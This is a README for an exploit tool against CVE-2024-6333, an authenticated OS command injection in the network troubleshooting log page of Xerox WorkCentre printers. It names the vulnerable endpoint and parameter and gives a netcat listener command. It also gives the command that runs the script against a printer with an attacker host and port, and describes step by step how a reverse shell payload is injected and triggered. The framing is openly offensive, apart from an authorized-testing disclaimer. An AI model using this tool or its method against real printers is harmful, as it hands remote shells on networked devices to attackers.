CVE-2024-6333 - Xerox Authenticated Remote Code Execution

Authenticated Remote Code Execution vulnerability in Xerox WorkCentre printers via the Network Troubleshooting Log feature.

Description

The Network Troubleshooting Log functionality (/properties/security/network_troubleshooting_log.php) fails to sanitize the destination server parameter (security.nwtroubleshoot.destination.server), allowing an authenticated administrator to inject arbitrary OS commands. When the network log capture is started, the injected payload is executed as a shell command, resulting in remote code execution.

Affected Products

• XEROX WorkCentre 6655 (tested on firmware 073.110.019.14200)
• Multiple other Xerox printer models (see advisory)

References

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

Requirements

• Python 3
• Valid admin credentials on the target printer
• Network access to the target

Installation

pip install -r requirements.txt

Usage

Start a listener on your machine:

nc -lvnp 8443

Run the exploit:

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

Arguments

How It Works

1. Authenticates to the printer's web interface using provided credentials
2. Stops any existing network troubleshooting log sessions
3. Injects a reverse shell payload into the destination server field
4. Triggers the network log capture, executing the payload
5. Waits 30 seconds, then sends a cleanup/stop command

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal.